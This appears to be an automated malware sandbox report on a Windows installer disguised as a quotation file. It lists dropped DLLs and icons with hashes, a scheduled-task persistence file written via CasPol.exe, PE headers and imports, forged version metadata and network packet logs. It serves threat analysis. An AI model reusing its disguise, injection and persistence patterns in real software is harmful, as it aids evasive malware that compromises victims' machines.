Preview:	...<.....B........V.....:<#...<j....B....9.....Y<..L.................<...<...$..(..(_....7.....)........../......<.<-..(.........1..l.....i....z.....N..I..W<....<U............7..h..i.....v.....c..-.4.j........<......!.......~..H........a...............<..z............t..u..........{..4....K.........<............m..o..N....9..c..n..-..w......X..j.R..G.................H......>6..%Ex-(..9.y.Y.P..q..Hu.B...OGohJ....sA).C.s.b......Q...nb..b".:.\|. eLN.......n...Ww..\.8e..R.b.r..SV...E(.@H..T...4c=.....%.."u../....}..!D..v........c<.........B.Z....M.!.cr...f....7...<.X..i2...GC....................................................................4...................:.I..................................................................n.........................................................................R}...................................................................7N-.I....G.......................k....................................a..-.i1..

C:\Users\user\AppData\Local\Temp\libpixbufloader-tiff.dll

Download File

Process:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	28353
Entropy (8bit):	5.247530837724658
Encrypted:	false
SSDEEP:	384:iRGqs9qVGO2LHItNcLIHJOJF9yX8EzQrwEI6/p9ekFCCq:iu9qk3o0LIHJ4LycFFq
MD5:	9174157F50762DD5D6E160C7E0DDADF1
SHA1:	D9E0BA6AA58B561D25C5A122A842A7B5DE1D47A4
SHA-256:	80495E26F7ACE00DDE275B5C96292C7C31AF65AC7732D42D4E626EDE68F8C7F8
SHA-512:	9A8A32B1A6648CFFFE2EE44DFC8BD95500738766AC14F13D967006DF35745FCAB18C7D4CB67EEEA2EAC0A2FCC343B2D670B20A67960589236300E522EC20144A
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: QT_0948765446-NMPMUST-9876563783.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........b..T.....&"...%.2...^......P.........~B.....................................!....`... .........................................k....................p..................p............................e..(......................`............................text....0.......2..................`..`.data........P.......6..............@....rdata..@....`.......8..............@..@.pdata.......p.......F..............@..@.xdata..0............J..............@..@.bss.....................................edata..k............N..............@..@.idata...............P..............@....CRT....X............\..............@....tls.................^..............@....reloc..p............`..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\library.dll

Download File

Process:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	528
Entropy (8bit):	2.454669672012672
Encrypted:	false
SSDEEP:	3:WlWUqt/vllXl+YZcFTS9gXeF+X32Zp9XojoW2mnKt3MGHlXml/4XSkVlXllXl/l5:idq2Vg3F+X32RojB5nKKZ4i
MD5:	56D41F7E91B9DCD5E8AF747A13C6004B
SHA1:	C59F6AE0DE9D72F3046293E9CEE3A8E5077A3F58
SHA-256:	9B8494152724313033EE4A2C2112212816F9C11AB5DEF42D3325617ADFF6DE49
SHA-512:	CB28A005BFE866102538AF218606269018D7B433DA559E3496C21A63815D439A397A1B9281C4DDEB1D575BC0645D4C0F8D6156171611534F9CA8F6124CB21CA5
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 3%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: QT_0948765446-NMPMUST-9876563783.exe, Detection: malicious, Browse Filename: PO#4200000866.exe, Detection: malicious, Browse Filename: PO#4200000866.exe, Detection: malicious, Browse Filename: s9kIU8A6sJ.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.o.m.o.m.o...i.l.o.2.e.l.o.Richm.o.........PE..L......:..........................................@..................................................................................................................................................................................................rsrc...............................@..@................................................................

C:\Users\user\AppData\Local\Temp\mail-attachment-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	7.0965599412000255
Encrypted:	false
SSDEEP:	6:6v/lhPys2zWtI1SjYx4LeRiaTJBeWiqIWODcmaq0LsOHmjknp:6v/7W11M3LekaTJkiO9hXOykp
MD5:	659220014DDED044AE048DE1F707787D
SHA1:	32D7305C1A0315A59B7B6F12A652D409F1E53077
SHA-256:	3C7677231B2B2E41865F2772B97F2ED21235A6D3377A5C18A66D66ABB5F289C5
SHA-512:	C577E4688BCB1B98CF559062EB9A158E82FA2FE408A89D53E7C3E857796211166FEB17958001DC397BA04C303C42A6B4E5481BC0434CA58BB3512F4A72C5AE10
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8...JCQ.../........F....b..0...o.EZE.X...,6.BHkk....D&.....3._3{........5..?.A.....m@.8.5~#..d..{..H&...V..;Fs..}l.....'x.uT..t../.#..Q[A7j..=.Z'.,E...XC/j...ji.!\.".O.x.{\|.b.2\|7.....ij.W.Fo'....N....M.'Q-m...q...k...,..0.s.F.E..&...M.?L9......6).....g...__.@.....IEND.B`.

C:\Users\user\AppData\Local\Temp\mail-forward.png

Download File

Process:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.110934101486144
Encrypted:	false
SSDEEP:	6:6v/lhPWbD+rdtFtN6aho0HHOGaB7YrI1QJYB+rCiYb3FoiiiI99r9Bp:6v/7TrbN7lnOGuY8iJg+eiG1odr9v
MD5:	3D4B275979C1C90F8802E34E1AE6BB03
SHA1:	13596B93FB14BE97D6275CCE43969935DEA3762C
SHA-256:	2D547F84EA8DF35ECAAF5F4CDB92CA50488514174CF77A2B955D7CD4E0660B9F
SHA-512:	77F5F9C39A1C9133682BFCE4BD41FB58D04C226973C86EDD2A12DACD9D2BD06D4A1F3278620A7CAD658EE90D33AD5513EDFBF5AB0B035E6301E97BA4E9006E44
Malicious:	false
Preview:	.PNG........IHDR................a...-IDATx.c...?E.z...Z.\..X.....}.8I6 ..`......-..X.....Y..$u...e6..p/.py....C..>6I]....i>z...\|.....g...^s.y..Y.%@b{/.....+.!..H[.w....A.j..6.+.................-?x.?0.@.@..x.........}.C0..:.=.w........................z...m.....].b.q.LV.!..:.\|.....+D....CW.../..z..(L......X.......J.......0........IEND.B`.

C:\Users\user\AppData\Local\Temp\mail-reply-all-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	244
Entropy (8bit):	6.758520539988057
Encrypted:	false
SSDEEP:	6:6v/lhPys81g2WMTrmv2GxdaTKUWdXhcorhOZXd5bvn0LGp:6v/7c1ZWarYvDa+UWdxcor87bv0g
MD5:	4FD7AA500BD09F4AE3D4D0951D56B095
SHA1:	215730E32EE69DBA4A8CCF190D16903C51803C3C
SHA-256:	B34B352C04C4578B1130C979A3571DBF058BC939CDC45723E479BCE27D80B7A5
SHA-512:	B4EEA2408A0A717EE79DB3BD66DFDA455A67058CF707F5638DF786DADFFEBE0E9DFF508DA6ED235AE5AD73EE82656C1338590910850A046B66ECB82AEE19B036
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8...?jBA......)...!<....y..a.T.H ........g.<X......[\|3.3...1.'..oe..(...V.......]~..U.4.....2.\..^....S.....<9.OL.c..K\|s.S.Wy.1..\|..U..j^i.{(....J..5..E4.V.....2...t.....IEND.B`.

C:\Users\user\AppData\Local\Temp\network-cellular-disabled-symbolic.svg

Download File

Process:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
File Type:	SVG Scalable Vector Graphics image
Category:	modified
Size (bytes):	845
Entropy (8bit):	5.12125030062822
Encrypted:	false
SSDEEP:	12:t4C8glnfnjdiYJCX+iCydrkeYRAerAFhLtHLAmVAcZ3AGdK5UMtz4y7jXvNM:t4CjlfhZJCX0yKbRAecFhBrN3AGMaM7O
MD5:	5CD531D175E59C4A36AC0025E613F689
SHA1:	62F4DF65A5F6E3DE4A89774953F9C41FA9A0A4AA
SHA-256:	41B4A84FD5B41F294B59E4CB4D9B76C6ACF4E5066C6AB9E458BEFEF116525B0C
SHA-512:	6F2A2241BEC4DA98D1D9949343FBE01B0431C80CC378915B1A62D3CF3F34C3240C35AAA3CE7799A91D9FBAE89203CCAF05C149F45564FCB1C5103AB672229793
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16">. <g fill="#2e3436">. <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:normal;shape-padding:0;isolation:auto;mix-blend-mode:normal;solid-color:#000;solid-opacity:1" color="#000" font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/>. <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/>. </g>.</svg>.

C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.814115788739565
Encrypted:	false
SSDEEP:	192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
MD5:	CFF85C549D536F651D4FB8387F1976F2
SHA1:	D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
SHA-256:	8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
SHA-512:	531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: QT_0948765446-NMPMUST-9876563783.exe, Detection: malicious, Browse Filename: Payment Receipt 03.exe, Detection: malicious, Browse Filename: maalesteder.exe, Detection: malicious, Browse Filename: Payment Receipt 03.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Gen.Variant.Nemesis.6604.25911.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Gen.Variant.Nemesis.6604.25911.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Gen.Variant.Nemesis.6598.18080.exe, Detection: malicious, Browse Filename: QUOTE-PRICELIST ITEMS.xlsx, Detection: malicious, Browse Filename: SecuriteInfo.com.Gen.Variant.Nemesis.6598.18080.exe, Detection: malicious, Browse Filename: ShipmentReceipt9521368040.xlsx, Detection: malicious, Browse Filename: njUIPPVrud.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.NSIS.Injector.ASH.13830.exe, Detection: malicious, Browse Filename: njUIPPVrud.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.NSIS.Injector.ASH.13830.exe, Detection: malicious, Browse Filename: ShipmentReceipt93213628045.xlsx, Detection: malicious, Browse Filename: PO 150938, 150939 & 150940.exe, Detection: malicious, Browse Filename: PO 150938, 150939 & 150940.exe, Detection: malicious, Browse Filename: PO140785.exe, Detection: malicious, Browse Filename: PO140785.exe, Detection: malicious, Browse Filename: PO6R727632-5642468.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1B52.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1319
Entropy (8bit):	5.131285242271578
Encrypted:	false
SSDEEP:	24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0mnJxtn:cbk4oL600QydbQxIYODOLedq3ZJj
MD5:	497F298FC157762F192A7C42854C6FB6
SHA1:	04BEC630F5CC64EA17C0E3E780B3CCF15A35C6E0
SHA-256:	3462CBE62FBB64FC53A0FCF97E43BAAFE9DD9929204F586A86AFE4B89D8048A6
SHA-512:	C7C6FD3097F4D1CCD313160FEDF7CB031644E0836B8C3E25481095E5F4B003759BC84FC6EA9421E3A090E66DC2FF875FEC2F394A386691AB178CB164733411B2
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />.. <Principals>.. <Principal id="Author">.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlyIfIdle>false</RunOnlyIfIdle>.. <Wak

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:+Pn:+P
MD5:	6BC2438201E61D11DCA226D4CF7CC0C6
SHA1:	B0AC09489C4C9434E24666DF7F133CC07554C444
SHA-256:	382C5A8FC6780DCBCA104B1DCD5C690724D3C2CFECED2B4B6B8A520CE8822673
SHA-512:	0C47E934A9B0CF6CE91AE82DE9B6982CB66F54375C26C8F27A31E884B88EB5993C619E26C4061FEE8DEE0EB0497363B84A6E8E0CD4C6B1DCCEE4AB7CE5F555C1
Malicious:	true
Preview:	.....8.H

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\task.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.745141646068962
Encrypted:	false
SSDEEP:	3:oMty8WbSmm:oMLWumm
MD5:	F781103B538E4159A8F01E3BE09B1F8D
SHA1:	27992585DE22A095BABCFD75E8F96710DD921C37
SHA-256:	BEA91983791C26C19AA411B2870E89AFC250EAF9855B6E1CE7BEA02B74E7F368
SHA-512:	D50AE0A01E74FC263B704FADE17CDF4993B61E34FD498827D546F090CE2DA5E8F24D4D34FBF360AE7EE5C5E7E3F032F3DDA8AD0C2A2CF0E1DAFEED61258AB4CA
Malicious:	false
Preview:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	5.07060597644582
Encrypted:	false
SSDEEP:	3:RGXKRjN3Mxm8d/AjhclROXDD9jmKXVM8/FOoDamd9xraWMZ4MKLJFcLEWgJya7:zx3M7ucLOdBXVNYmd9NaWM6MKnH5JyY
MD5:	B08826036A3E81B44E7D8C1284381013
SHA1:	96CF7E6BC1B55C69CE33BEC3B78FFF4EB8839B87
SHA-256:	E7AD5092F56BB2ACA26262C361FE5F83171D21AB134D4E5D2EF47E9BF641B549
SHA-512:	EB9908F6FB6398EDCE4F3B18AA64ABEE8774D1CA3A5B533617C97AAC5E795627CCB8B1176BE64371E6BEF6352004FC2B4862A388D61A6103D05B5B2D02CD0481
Malicious:	false
Preview:	Microsoft (R) .NET Framework CasPol 2.0.50727.9149..Copyright (c) Microsoft Corporation. All rights reserved.....ERROR: Invalid option: 0....For usage information, use 'caspol -?'..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.569756741108006
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QT_0948765446-NMPMUST-9876563783.exe
File size:	260733
MD5:	155a8b146f63fcecc360cc1162974373
SHA1:	7abaf8a0df564b853227fdb8a614e7f8ba3edd15
SHA256:	361deb3d9ef665902441a554d099bd5e43266cd6320ef84facacdee256d325bd
SHA512:	fd424da3119cb0b13337a867278bec2418b0e9b4e5d7ba7799db15157d1a040a77c71fc585a9d9582980657bdb483d1124f8cfa83745702efdab6e0bc7d416e4
SSDEEP:	6144:UYa6ZtKR5Z0v2uTcWdq+LKimLlF21W0PLpxYwX:UY3Y5Z0eGJq+LuxF2sL0
TLSH:	8344F09576E0C863D9A50674EE35C9F65BF4BE22C8B50A0737E43F5C397A222D80C362
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*.....

File Icon


Icon Hash:	84f68684c4c33fc0

Static PE Info

General

Entrypoint:	0x403640
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x614F9B1F [Sat Sep 25 21:56:47 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	61259b55b8912888e90f516ca08dc514

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A230h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080C8h]
mov esi, dword ptr [004080CCh]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007F084D0B3D5Ah
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007F084D0B3D2Ah
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [0042A318h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6c000	0x1f320	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6676	0x6800	False	0.656813401442	data	6.41745998719	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x139a	0x1400	False	0.4498046875	data	5.14106681717	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20378	0x600	False	0.509765625	data	4.11058212765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x2b000	0x41000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x6c000	0x1f320	0x1f400	False	0.7696953125	data	7.24749238687	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x6c448	0x93bf	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x75808	0x66ac	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x7beb8	0x4c28	dBase IV DBT, blocks size 0, block length 18432, next free block index 40, next free block 0, next used block 4279173120	English	United States
RT_ICON	0x80ae0	0x3c12	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x846f8	0x25a8	data	English	United States
RT_ICON	0x86ca0	0x10a8	data	English	United States
RT_ICON	0x87d48	0xea8	data	English	United States
RT_ICON	0x88bf0	0x8a8	data	English	United States
RT_ICON	0x89498	0x668	dBase IV DBT of `.DBF, block length 1536, next free block index 40, next free block 251658488, next used block 65535	English	United States
RT_ICON	0x89b00	0x568	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x8a068	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x8a4d0	0x2e8	data	English	United States
RT_ICON	0x8a7b8	0x128	GLS_BINARY_LSB_FIRST	English	United States
RT_DIALOG	0x8a8e0	0x100	data	English	United States
RT_DIALOG	0x8a9e0	0x11c	data	English	United States
RT_DIALOG	0x8ab00	0xc4	data	English	United States
RT_DIALOG	0x8abc8	0x60	data	English	United States
RT_GROUP_ICON	0x8ac28	0xbc	data	English	United States
RT_VERSION	0x8ace8	0x2f4	data	English	United States
RT_MANIFEST	0x8afe0	0x33e	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Version Infos

Description	Data
LegalCopyright	Xamasoft
FileVersion	32.24.11
CompanyName	1995-2013 Stellar Information Systems Ltd.
LegalTrademarks	Advanced Micro Devices, Inc.
Comments	Coca-Cola Co.
ProductName	Bausch & Lomb Incorporated
FileDescription	IT Group Inc.
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 17, 2022 16:51:07.190037966 CEST	49761	443	192.168.11.20	142.250.185.78
May 17, 2022 16:51:07.190112114 CEST	443	49761	142.250.185.78	192.168.11.20
May 17, 2022 16:51:07.190360069 CEST	49761	443	192.168.11.20	142.250.185.78
May 17, 2022 16:51:07.215454102 CEST	49761	443	192.168.11.20	142.250.185.78
May 17, 2022 16:51:07.215519905 CEST	443	49761	142.250.185.78	192.168.11.20
May 17, 2022 16:51:07.265726089 CEST	443	49761	142.250.185.78	192.168.11.20
May 17, 2022 16:51:07.265872002 CEST	49761	443	192.168.11.20	142.250.185.78
May 17, 2022 16:51:07.265903950 CEST	49761	443	192.168.11.20	142.250.185.78
May 17, 2022 16:51:07.268611908 CEST	443	49761	142.250.185.78	192.168.11.20
May 17, 2022 16:51:07.268778086 CEST	49761	443	192.168.11.20	142.250.185.78
May 17, 2022 16:51:07.384777069 CEST	49761	443	192.168.11.20	142.250.185.78
May 17, 2022 16:51:07.384823084 CEST	443	49761	142.250.185.78	192.168.11.20
May 17, 2022 16:51:07.385456085 CEST	443	49761	142.250.185.78	192.168.11.20
May 17, 2022 16:51:07.385618925 CEST	49761	443	192.168.11.20	142.250.185.78
May 17, 2022 16:51:07.389369011 CEST	49761	443	192.168.11.20	142.250.185.78
May 17, 2022 16:51:07.430558920 CEST	443	49761	142.250.185.78	192.168.11.20
May 17, 2022 16:51:08.023623943 CEST	443	49761	142.250.185.78	192.168.11.20
May 17, 2022 16:51:08.023834944 CEST	49761	443	192.168.11.20	142.250.185.78
May 17, 2022 16:51:08.023874044 CEST	443	49761	142.250.185.78	192.168.11.20
May 17, 2022 16:51:08.024076939 CEST	49761	443	192.168.11.20	142.250.185.78
